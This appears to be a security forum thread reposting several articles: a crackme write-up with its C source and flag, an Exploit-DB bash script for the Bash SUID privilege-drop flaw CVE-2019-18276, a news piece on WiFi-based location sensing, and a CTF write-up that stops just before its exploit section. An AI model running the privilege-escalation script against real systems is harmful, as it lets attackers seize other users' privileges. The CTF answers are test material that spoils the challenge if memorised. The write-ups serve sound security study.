printable character sequences that are at least 4 characters long (or the number given with the options below) and are followed by an unprintable character. By doing so, one cannot obtain the password by simply getting the strings from the binary. If one were to change the amount of characters to a smaller number, all the garbage strings will also show up. This provides some sort of a clue to the analyst, but it does not provide an answer. Due to the amount of garbage strings and the three second sleep after ingesting the user input, the application becomes infeasble to brute force. Using the current time to seed the random function is used to throw off analysts who are less certain of the analysis process. The variables are not used at all. The riddle is paired with the theme of Hackfest2019: upside down. The riddle asks where one is, if up is down. The event itself is hosted in Canada. Flipping the world map upside down, one can see that Canada would be at the place where Australia normally is. Note that one has to imagine the world map as a rectangle whilst turning it 180 degrees to the right. As such, one would be down under, or D0wN_uN|)3r in leetspeak. The full source of the challenge is given below. /* * File: whereAmI.c * Author: Max 'Libra' Kersten [@LibraAnalysis] * * Created on October 2, 2019, 9:06 PM */ #include <stdio.h> #include <stdlib.h> #include <time.h> #include <unistd.h> #include <string.h> /* * Flag: D0wN_uN|)3r */ int main(int argc, char *argv[]) { printf("If up is down, then where are you now?\n"); printf("I am: "); char userInput[12]; scanf("%s", userInput); sleep(3); char* trash0 = "DnF"; char* trash1 = "nIP"; char* trash2 = "zEZ"; char* trash3 = "uRC"; char* trash4 = "LgP"; char* trash5 = "cdM"; char* trash6 = "qeB"; char* trash7 = "xbI"; char* trash8 = "KPK"; char* trash9 = "jpb"; char* trash10 = "pWL"; char* trash11 = "NXs"; char* trash12 = "Ckx"; char* part1 = "D0w"; char* trash14 = "GXO"; char* trash15 = "RjK"; char* trash16 = "YbL"; char* trash17 = "VWC"; char* trash18 = "IWF"; char* trash19 = "gZF"; char* trash20 = "Lon"; char* trash21 = "ayh"; char* trash22 = "dGC"; char* trash23 = "MZI"; char* trash24 = "oPO"; char* trash25 = "wwK"; char* trash26 = "ySv"; char* part4 = "3r"; char* trash28 = "rOK"; char* trash29 = "HRE"; char* trash30 = "Qdw"; char* trash31 = "UIY"; char* trash32 = "XpQ"; char* trash33 = "MOP"; char* trash34 = "ayt"; char* trash35 = "zWI"; char* trash36 = "opG"; char* trash37 = "AnG"; char* trash38 = "hjs"; char* trash39 = "DeC"; char* trash40 = "lFO"; char* trash41 = "lLk"; char* trash42 = "kPe"; char* trash43 = "nJb"; char* trash44 = "hXE"; char* trash45 = "gIj"; char* trash46 = "NTx"; char* trash47 = "sHw"; char* part3 = "N|)"; char* trash49 = "UsC"; char* trash50 = "mkg"; char* trash51 = "hMI"; char* trash52 = "mBL"; char* trash53 = "lqU"; char* trash54 = "Cou"; char* trash55 = "AoM"; char* trash56 = "tBO"; char* trash57 = "ZAq"; char* trash58 = "rbo"; char* trash59 = "YOx"; char* trash60 = "JiX"; char* trash61 = "rhy"; char* trash62 = "lxq"; char* trash63 = "OOF"; char* trash64 = "AiJ"; char* trash65 = "fjz"; char* trash66 = "CKA"; char* trash67 = "Nbm"; char* trash68 = "qQV"; char* trash69 = "DSe"; char* trash70 = "ebQ"; char* trash71 = "Rwl"; char* trash72 = "Fia"; char* trash73 = "uyx"; char* trash74 = "sZz"; char* trash75 = "kfn"; char* trash76 = "jGG"; char* trash77 = "mwA"; char* trash78 = "TKW"; char* trash79 = "GWI"; char* trash80 = "KOl"; char* trash81 = "HMo"; char* trash82 = "aea"; char* trash83 = "ZPM"; char* trash84 = "JQd"; char* trash85 = "rqL"; char* trash86 = "dlY"; char* trash87 = "yBR"; char* trash88 = "eaz"; char* trash89 = "TTX"; char* trash90 = "ZGE"; char* trash91 = "SRc"; char* trash92 = "xxG"; char* trash93 = "jZY"; char* trash94 = "DCS"; char* trash95 = "chc"; char* trash96 = "SDe"; char* trash97 = "sRL"; char* part2 = "N_u"; char* trash99 = "jVl"; int argc2 = 4; int array[300]; int size = 300; srand(time(NULL)); int i = 0; int j = 41; int length = 3; char result[12]; result[11] = '\n'; i = 0; for (i; i < length; i++) { result[i] = part1[i]; } strcpy((result + 3), part2); for (i = 0; i < 3; ++i) { result[i + 6] = part3[i]; } for (i = 0; i < 3; ++i) { result[i + 9] = part4[i]; } if (strcmp(result, userInput) == 0) { printf("It seems to me, that you are home!\n"); } else { printf("Not all those who wander are lost, although it seems you are!\n"); } return (EXIT_SUCCESS); } Conclusion Both CTF challenges and malware can be analysed in a variety of ways. The approach one uses is partially based upon knowledge, partially based upon time, and partially based upon preference. Objectively, one method is not better than the other, although it might be quicker overall. To contact me, you can e-mail me at [info][at][maxkersten][dot][nl], send me a PM on Reddit or DM me on Twitter @LibraAnalysis. Sursa: https://maxkersten.nl/binary-analysis-course/assembly-basics/practical-case-crack-me-0x03/
  19. # Exploit Title : Bash 5.0 Patch 11 - SUID Priv Drop Exploit # Date : 2019-11-29 # Original Author: Ian Pudney , Chet Ramey # Exploit Author : Mohin Paramasivam (Shad0wQu35t) # Version : < Bash 5.0 Patch 11 # Tested on Linux # Credit : Ian Pudney from Google Security and Privacy Team based on Google CTF suidbash # CVE : 2019-18276 # CVE Link : https://nvd.nist.gov/vuln/detail/CVE-2019-18276 , https://www.youtube.com/watch?v=-wGtxJ8opa8 # Exploit Demo POC : https://youtu.be/Dbwvzbb38W0 Description : An issue was discovered in disable_priv_mode in shell.c in GNU Bash through 5.0 patch 11. By default, if Bash is run with its effective UID not equal to its real UID, it will drop privileges by setting its effective UID to its real UID. However, it does so incorrectly. On Linux and other systems that support "saved UID" functionality, the saved UID is not dropped. An attacker with command execution in the shell can use "enable -f" for runtime loading of a new builtin, which can be a shared object that calls setuid() and therefore regains privileges. However, binaries running with an effective UID of 0 are unaffected. #!/bin/bash #Terminal Color Codes RED='\033[0;31m' GREEN='\033[0;32m' NC='\033[0m' #Get the Effective User ID (owner of the SUID /bin/bash binary) read -p "Please enter effective user id (euid) : " euid #Create a C file and output the exploit code touch pwn.c echo "" > pwn.c cat <<EOT >> pwn.c #include <sys/types.h> #include <unistd.h> #include <stdio.h> void __attribute((constructor)) initLibrary(void) { printf("Escape lib is initialized"); printf("[LO] uid:%d | euid:%d%c", getuid(), geteuid()); setuid($euid); printf("[LO] uid%d | euid:%d%c", getuid(), geteuid()); } EOT echo -e "${RED}" echo -e "Exploit Code copied to pwn.c !\n" sleep 5 echo -e "Compiling Exploit Object ! \n" $(which gcc ) -c -fPIC pwn.c -o pwn.o sleep 5 echo -e "Compiling Exploit Shared Object ! \n" $(which gcc ) -shared -fPIC pwn.o -o libpwn.so sleep 5 echo -e "Exploit Compiled ! \n" sleep 5 echo -e "Executing Exploit :) \n" sleep 5 #Execute the Shared Library echo -e "${RED}Run : ${NC} enable -f ./libpwn.so asd \n" Sursa: https://www.exploit-db.com/exploits/47726?utm_source=dlvr.it&utm_medium=twitter
  20. Your WiFi Signals Are Revealing Your Location by Sharon Lin November 28, 2019 The home may be the hearth, but it’s not going to be a place of safety for too long. With the abundance of connected devices making their ways into our homes, increasing levels of data may allow for more accurate methods for remote surveillance. By measuring the strength of ambient signals emitted from devices, a site can be remotely monitored for movement. That is to say, WiFi signals may soon pose a physical security vulnerability. In a study from the University of Chicago and the University of California, Santa Barbara, researchers built on earlier studies where they could use similar techniques to “see through walls” to demonstrate a proof-of-concept for passive listening. Attackers don’t need to transmit signals or break encryptions to gain access to a victim’s location – they just need to listen to the ambient signals coming from connectedd devices, making it more difficult to track bad actors down. Typically, connected devices communicate to an access point such as a router rather than directly with the Internet. A person walking near a device can subtly change the signal propagated to the access point, which is picked up by a receiver sniffing the signal. Most building materials do not block WiFi signals from propagating, allowing receivers to be placed inconspicuously in different rooms from the access point. WiFi sniffers are relatively inexpensive, with models running for less than $20. They’re also small enough to hide in unsuspecting locations – inside backpacks, inside a box – and emit no signal that could be detected by a target. The researchers proposed some methods for safeguarding against the vulnerability: insulating buildings against WiFi leakage (while ensuring that desirable signals, i.e. signals from cell tower are still able to enter) or having access points emit a “cover signal” that mixes signals from connected devices to make it harder to sniff for motion. While we may not be seeing buildings surrounded by Faraday cages anytime soon, there’s only going to be more attack surfaces to worry about as our devices continue to become connected. [Thanks to Qes for the tip!] Sursa: https://hackaday.com/2019/11/28/your-wifi-signals-are-revealing-your-location/
  21. [Redhat2019] Kaleidoscope 發表於 2019-11-11 | 分類於 Hack 这是连续第三届参加广东省的红帽杯比赛了,就题目质量来说明显是一届比一届高,看到这题万花筒惊喜之余也感叹国内的CTF比赛门槛真是越来越高了。作为一道基于解释器改编的题目,通过传统的逆向方法来做还是比较困难,因此分享一下用fuzzing来找到题目漏洞以及后续的分析利用。 This challenge is from a CTF game of Guangdong province, China. It is a Pwn challenge based on llvm JIT engine. You can download this challenge at this link. Recon At first you may not able to run this binary directly, because of the missing libary libLLVM-6.0.so.1, use sudo apt-get install libllvm6.0 to solve the dependency. It will give us a interpreter interface like: ready> a = 1 ready> 1+1 Error: Unknown variable name ready> a+1 Evaluated to 2 ready> Drop the binary into ida and we can see that it was written by C++, and the designer turned on some optimization settings when compiling, so the decompile result was really hard to follow. The symbols tell us, this is a Kaleidoscope JIT interpreter, which is used by llvm project as tutorial to demonstrate how to implement a JIT interpreter. We can find the tutorial here: Building a JIT: Starting out with KaleidoscopeJIT, and the source code at llvm-kaleidoscope. The main function is clear in source code: int main() { BinopPrecedence['<'] = 10; BinopPrecedence['+'] = 20; BinopPrecedence['-'] = 20; BinopPrecedence['*'] = 40; fprintf(stderr, "ready> "); getNextToken(); TheModule = llvm::make_unique<Module>("My awesome JIT", TheContext); MainLoop(); TheModule->print(errs(), nullptr); return 0; } but in ida it looks really terrible: LLVMInitializeX86TargetInfo(*(_QWORD *)&argc, argv, envp); LLVMInitializeX86Target(); LLVMInitializeX86TargetMC(); LLVMInitializeX86AsmPrinter(); LLVMInitializeX86AsmParser(); __k[0] = '='; *std::map<char,int,std::less<char>,std::allocator<std::pair<char const,int>>>::operator[](&BinopPrecedence, __k) = 2; __k[0] = '<'; *std::map<char,int,std::less<char>,std::allocator<std::pair<char const,int>>>::operator[](&BinopPrecedence, __k) = 10; __k[0] = '+'; *std::map<char,int,std::less<char>,std::allocator<std::pair<char const,int>>>::operator[](&BinopPrecedence, __k) = 20; __k[0] = '-'; *std::map<char,int,std::less<char>,std::allocator<std::pair<char const,int>>>::operator[](&BinopPrecedence, __k) = 20; __k[0] = '*'; *std::map<char,int,std::less<char>,std::allocator<std::pair<char const,int>>>::operator[](&BinopPrecedence, __k) = 40; v3 = &stderr; fwrite("ready> ", 7uLL, 1uLL, stderr); ... Comparing these two pieces of code, we can see the challenge define = as BinopPrecedence while the original version didn’t. I try to follow the code but soon decide to change another method. Fuzzing So I turned to fuzzing and hope to find some bugs. I tried AFL with qemu mode to run this binary first, but it stuck on the initialization. If you know how to run such a binary with AFL, please do let me know. matthew@matthew-MS-7A37 /m/d/L/Fuzz> afl-fuzz -i in/ -o out1/ -Q -- ./wang afl-fuzz 2.52b by <lcamtuf@google.com> [+] You have 8 CPU cores and 6 runnable tasks (utilization: 75%). [+] Try parallel jobs - see /usr/local/share/doc/afl/parallel_fuzzing.txt. [*] Checking CPU core loadout... [+] Found a free CPU core, binding to #0. [*] Checking core_pattern... [*] Setting up output directories... [+] Output directory exists but deemed OK to reuse. [*] Deleting old session data... [+] Output dir cleanup successful. [*] Scanning 'in/'... [+] No auto-generated dictionary tokens to reuse. [*] Creating hard links for all input files... [*] Validating target binary... [*] Attempting dry run with 'id:000000,orig:1.txt'... [*] Spinning up the fork server... [+] All right - fork server is up. ...(It just stop here) Then I try honggfuzz, which is another popular fuzzer support binary instrument. At first I cloned the source code from github but failed on compilation. Then I found a docker image at Doker hub, but it does not support qemu mode. I had to attach to the container and complied the qemu mode, some dependencies installation are unavoidable. It took me more than 2 hours to setup this tool (the network connection is always big problem when you setting up similar tools in China). The command of running this docker image is: docker run --rm -it -v (pwd):/work --privileged zjuchenyuan/honggfuzz:latest /bin/bash and you can find the usage of honggfuzz here: USAGE, for the qemu mode we need, it can be run by: honggfuzz -f /work/in/ -s -- ./qemu_mode/honggfuzz-qemu/x86_64-linux-user/qemu-x86_64 /work/kaleidoscope The seed corpus was put in /work/in, I simply chose the code snippet from https://llvm.org/docs/tutorial/OCamlLangImpl1.html#the-basic-language: # Compute the x'th fibonacci number. def fib(x) if x < 3 then 1 else fib(x-1)+fib(x-2) # This expression will compute the 40th number. fib(40) I run this in a vmware workstation vm, so the speed is a kind of slow, but it still give us some crashes in less than ten minutes. I believe this will be much faster on a bare metal linux machine. Iterations : 5810 [5.81k] Mode [3/3] : Feedback Driven Mode Target : ./qemu_mode/honggfuzz-qemu/x86_6.....u-x86_64 /work/kaleidoscope Threads : 4, CPUs: 8, CPU%: 424% [53%/CPU] Speed : 0/sec [avg: 1] Crashes : 200 [unique: 0, blacklist: 0, verified: 0] Timeouts : 0 [10 sec] Corpus Size : 97, max: 8192 bytes, init: 2 files Cov Update : 0 days 00 hrs 01 mins 18 secs ago Coverage : edge: 3922/45011 [8%] pc: 1541 cmp: 135658 Crashes The fuzzer gave us a crash in less than ten minutes, I review the crashes, it seems like some heap corruption issue, but the stacktrace was hard to look at. ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0x0 RBX 0x7ffff399b840 (stderr) —▸ 0x7ffff399b680 (_IO_2_1_stderr_) ◂— 0xfbad2887 RCX 0x7ffff35ede97 (raise+199) ◂— mov rcx, qword ptr [rsp + 0x108] RDX 0x0 RDI 0x2 RSI 0x7fffffffd660 ◂— 0x0 R8 0x0 R9 0x7fffffffd660 ◂— 0x0 R10 0x8 R11 0x246 R12 0x5555556030b0 —▸ 0x5555555d4fd0 —▸ 0x5555555d5040 ◂— 0x0 R13 0x7ffff3ff9550 (std::bad_alloc::~bad_alloc()) ◂— mov rax, qword ptr [rip + 0x3390f1] R14 0x55555569ec40 —▸ 0x5555555ef820 —▸ 0x5555555c70e0 —▸ 0x5555555f7700 —▸ 0x5555555f76c0 ◂— ... R15 0x55555569ec30 —▸ 0x55555569ec40 —▸ 0x5555555ef820 —▸ 0x5555555c70e0 —▸ 0x5555555f7700 ◂— ... RBP 0x7ffff40dbfe2 ◂— jae 0x7ffff40dc058 /* u'std::bad_alloc' */ RSP 0x7fffffffd660 ◂— 0x0 RIP 0x7ffff35ede97 (raise+199) ◂— mov rcx, qword ptr [rsp + 0x108] ───────────────────────────────────[ DISASM ]─────────────────────────────────── ► 0x7ffff35ede97 <raise+199> mov rcx, qword ptr [rsp + 0x108] <0x7ffff35ede97> 0x7ffff35ede9f <raise+207> xor rcx, qword ptr fs:[0x28] 0x7ffff35edea8 <raise+216> mov eax, r8d 0x7ffff35edeab <raise+219> jne raise+252 <0x7ffff35edecc> ↓ 0x7ffff35edecc <raise+252> call __stack_chk_fail <0x7ffff36e3c80> 0x7ffff35eded1 nop word ptr cs:[rax + rax] 0x7ffff35ededb nop dword ptr [rax + rax] 0x7ffff35edee0 <killpg> test edi, edi 0x7ffff35edee2 <killpg+2> js killpg+16 <0x7ffff35edef0> 0x7ffff35edee4 <killpg+4> neg edi 0x7ffff35edee6 <killpg+6> jmp 0x7ffff35ee180 <0x7ffff35ee180> ───────────────────────────────────[ STACK ]──────────────────────────────────── 00:0000│ rsi r9 rsp 0x7fffffffd660 ◂— 0x0 01:0008│ 0x7fffffffd668 —▸ 0x7ffff399b420 (main_arena+2016) —▸ 0x55555567aa60 ◂— 0x0 02:0010│ 0x7fffffffd670 ◂— 0x0 ... ↓ ─────────────────────────────────[ BACKTRACE ]────────────────────────────────── ► f 0 7ffff35ede97 raise+199 f 1 7ffff35ef801 abort+321 f 2 7ffff3fef242 f 3 7ffff3ffae86 f 4 7ffff3ffaed1 f 5 7ffff3ffb105 f 6 7ffff3feeee1 f 7 55555555eb68 f 8 55555555eb68 f 9 55555555eb68 f 10 55555555eb68 pwndbg> bt #0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:51 #1 0x00007ffff35ef801 in __GI_abort () at abort.c:79 #2 0x00007ffff3fef242 in ?? () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6 #3 0x00007ffff3ffae86 in ?? () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6 #4 0x00007ffff3ffaed1 in std::terminate() () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6 #5 0x00007ffff3ffb105 in __cxa_throw () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6 #6 0x00007ffff3feeee1 in ?? () from /usr/lib/x86_64-linux-gnu/libstdc++.so.6 #7 0x000055555555eb68 in std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::_M_construct<char*> (this=<optimized out>, __beg=0x6 <error: Cannot access memory at address 0x6>, __end=<optimized out>) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/basic_string.tcc:219 #8 std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::_M_construct_aux<char*> (this=<optimized out>, __beg=0x6 <error: Cannot access memory at address 0x6>, __end=<optimized out>) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/basic_string.h:236 #9 std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::_M_construct<char*> (this=<optimized out>, __beg=0x6 <error: Cannot access memory at address 0x6>, __end=<optimized out>) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/basic_string.h:255 #10 std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string (this=<optimized out>, __str=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/basic_string.h:440 #11 std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*>::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&, 0ul>(std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>&, std::tuple<>&, std::_Index_tuple<0ul>, std::_Index_tuple<>) (this=0x55555569ec30, __tuple1=..., __tuple2=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/tuple:1651 #12 std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*>::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>(std::piecewise_construct_t, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>, std::tuple<>) (this=0x55555569ec30, __first=..., __second=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/tuple:1639 #13 __gnu_cxx::new_allocator<std::_Rb_tree_node<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> > >::construct<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*>, std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>, std::tuple<> >(std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*>*, std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>&&, std::tuple<>&&) (__p=0x55555569ec30, __args=..., this=<optimized out>, __args=..., __args=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/ext/new_allocator.h:136 #14 std::allocator_traits<std::allocator<std::_Rb_tree_node<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> > > >::construct<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*>, std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>, std::tuple<> >(std::allocator<std::_Rb_tree_node<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> > >&, std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*>*, std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>&&, std::tuple<>&&) (__p=0x55555569ec30, __args=..., __a=..., __args=..., __args=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/alloc_traits.h:475 #15 std::_Rb_tree<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*>, std::_Select1st<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> > >::_M_construct_node<std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>, std::tuple<> >(std::_Rb_tree_node<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> >*, std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>&&, std::tuple<>&&) (this=0x5555555694c8 <NamedValues[abi:cxx11]>, __node=0x55555569ec10, __args=..., __args=..., __args=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/stl_tree.h:626 #16 std::_Rb_tree<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*>, std::_Select1st<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> > >::_M_create_node<std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>, std::tuple<> >(std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>&&, std::tuple<>&&) (this=0x5555555694c8 <NamedValues[abi:cxx11]>, __args=..., __args=..., __args=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/stl_tree.h:643 #17 std::_Rb_tree<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*>, std::_Select1st<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> >, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> > >::_M_emplace_hint_unique<std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>, std::tuple<> >(std::_Rb_tree_const_iterator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> >, std::piecewise_construct_t const&, std::tuple<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&>&&, std::tuple<>&&) (this=0x5555555694c8 <NamedValues[abi:cxx11]>, __pos={ first = <incomplete type>, second = 0x0 }, __args=..., __args=..., __args=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/stl_tree.h:2398 #18 0x000055555555e97d in std::map<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, llvm::AllocaInst*, std::less<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const, llvm::AllocaInst*> > >::operator[] (this=<optimized out>, __k=...) at /usr/bin/../lib/gcc/x86_64-linux-gnu/7.4.0/../../../../include/c++/7.4.0/bits/stl_map.h:493 #19 0x00005555555612dc in (anonymous namespace)::BinaryExprAST::codegen (this=0x555555689010) at toy.cpp:781 #20 0x000055555555c6d9 in (anonymous namespace)::FunctionAST::codegen (this=0x555555638840) at toy.cpp:1085 #21 0x000055555555a767 in HandleTopLevelExpression () at toy.cpp:1164 #22 MainLoop () at toy.cpp:1209 #23 main () at toy.cpp:1263 #24 0x00007ffff35d0b97 in __libc_start_main (main=0x55555555a240 <main()>, argc=1, argv=0x7fffffffdee8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffded8) at ../csu/libc-start.c:310 #25 0x0000555555559c4a in _start () I then went to dinner and some really interesting crashes was found before I came back. The fuzzer reports these inputs lead to crashes, but the binary did not crash at all in dry run. matthew@matthew-MS-7A37 ~/L/fuzz> cat c5 def fib(x) if x < 3 then 1 else 526142246948557=666 fib(40) $IF8׆FA]V_13X9`Z^9_O2ر/#nϰ'ӟ]* O-w ff4QjW={%IT(<V['!]h_2 ޒ*`-KyrCzʉB8Cl=}_F85&ЅNQ-O}/8 *ŋyG:~V$5917384075431139189gG ^ggXX%KTY១R| )"319Oqy` {&!M?Z-Bz X >@YAyd(9kG9Dž޹0)dL&TBeDjח@3g3N,Okrvz8b[QRs U,( >m@.*ou3\w;߳^U C}5Ttrz7217830875066176221-+\I f⏎ matthew@matthew-MS-7A37 ~/L/fuzz> cat c5 | ./kaleidoscope ready> ready> Error: Unknown variable name ready> LLVM ERROR: Program used external function 'fib' which could not be resolved! The output was interesting though, it said the external function “fib” could not be resolved. If you compare the binary code with the original source code, you can see that there was an extern keyword in the source. However the handler was disabled in this challenge, it will say “No extern function” if you try to use extern keyword. { if ( CurTok != 0xFFFFFFFD ) goto LABEL_30; fwrite("No extern function!!!\n", 0x16uLL, 1uLL, *v3); CurTok = gettok(); CurTok = gettok(); LABEL_18: CurTok = gettok(); } Then I search the string Program used external function 'fib' which could not be resolved! in this binary but find nothing. However, this message was stared by a tag LLVM ERROR, did that mean the string located at the llvm library? matthew@matthew-MS-7A37 ~/L/fuzz> strings /usr/lib/x86_64-linux-gnu/libLLVM-6.0.so.1 | grep "Program used external" Program used external function ' YES! Analysis Consider the logic behind this test case, the binary have finished the parsing job and pass the function name to libLLVM, libLLVM get the function name and try to resolve it from libc. If we search this info in the source of llvm, we can see it was invoked by RTDyldMemoryManager::getPointerToNamedFunction, see https://github.com/llvm-mirror/llvm/blob/8b8f8d0ad8a1f837071ccb39fb96e44898350070/lib/ExecutionEngine/RuntimeDyld/RTDyldMemoryManager.cpp#L290. Then I thought maybe we can call the libc functions directly in same manner. I changed the fib to puts, loaded the binary into gdb and read the input. I also set a breakpoint at puts, it did stop at the call. LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ───────────────────────────────────────[ REGISTERS ]─────────────────────────────────────── RAX 0x7ffff36899c0 (puts) ◂— push r13 RBX 0x7ffff7ff6000 ◂— push rax RCX 0x3 RDX 0x55555556a010 ◂— 0x605070607050307 RDI 0x28 RSI 0x55555556a018 ◂— 0x607050702070606 R8 0x8 R9 0x1 R10 0x555555638568 —▸ 0x5555555d4f00 —▸ 0x5555555b99f0 ◂— 0x555500000000 R11 0x88 R12 0x7ffff39f5840 (stderr) —▸ 0x7ffff39f5680 (_IO_2_1_stderr_) ◂— 0xfbad2887 R13 0x555555564eb8 ◂— jb 0x555555564f1f /* 'ready> ' */ R14 0x7fffffffdd40 —▸ 0x7ffff7ff6000 ◂— push rax R15 0x7fffffffddc0 ◂— 0x0 RBP 0x7ffff39f5680 (_IO_2_1_stderr_) ◂— 0xfbad2887 RSP 0x7fffffffdd08 —▸ 0x7ffff7ff6012 ◂— pop rcx RIP 0x7ffff36899c0 (puts) ◂— push r13 ────────────────────────────────────────[ DISASM ]───────────────────────────────────────── ► 0x7ffff36899c0 <puts> push r13 0x7ffff36899c2 <puts+2> push r12 0x7ffff36899c4 <puts+4> mov r12, rdi 0x7ffff36899c7 <puts+7> push rbp 0x7ffff36899c8 <puts+8> push rbx 0x7ffff36899c9 <puts+9> sub rsp, 8 0x7ffff36899cd <puts+13> call *ABS*+0x9dc70@plt <0x7ffff362a100> 0x7ffff36899d2 <puts+18> mov rbp, qword ptr [rip + 0x36be6f] <0x7ffff39f5848> 0x7ffff36899d9 <puts+25> mov rbx, rax 0x7ffff36899dc <puts+28> mov eax, dword ptr [rbp] 0x7ffff36899df <puts+31> mov rdi, rbp ─────────────────────────────────────────[ STACK ]───────────────────────────────────────── 00:0000│ rsp 0x7fffffffdd08 —▸ 0x7ffff7ff6012 ◂— pop rcx 01:0008│ 0x7fffffffdd10 ◂— 0x0 02:0010│ 0x7fffffffdd18 —▸ 0x55555555b0d4 (main+3732) ◂— mov ecx, eax 03:0018│ 0x7fffffffdd20 —▸ 0x7fffffffdd30 ◂— '__anon_expr' 04:0020│ 0x7fffffffdd28 ◂— 0xb /* '\x0b' */ 05:0028│ 0x7fffffffdd30 ◂— '__anon_expr' 06:0030│ 0x7fffffffdd38 ◂— 0x727078 /* 'xpr' */ 07:0038│ r14 0x7fffffffdd40 —▸ 0x7ffff7ff6000 ◂— push rax ───────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────── ► f 0 7ffff36899c0 puts f 1 7ffff7ff6012 f 2 0 ─────────────────────────────────────────────────────────────────────────────────────────── Breakpoint puts pwndbg> We can see that the first argument $rdi is 0x28=40, that means we can control the argument too. Exploit With the handy 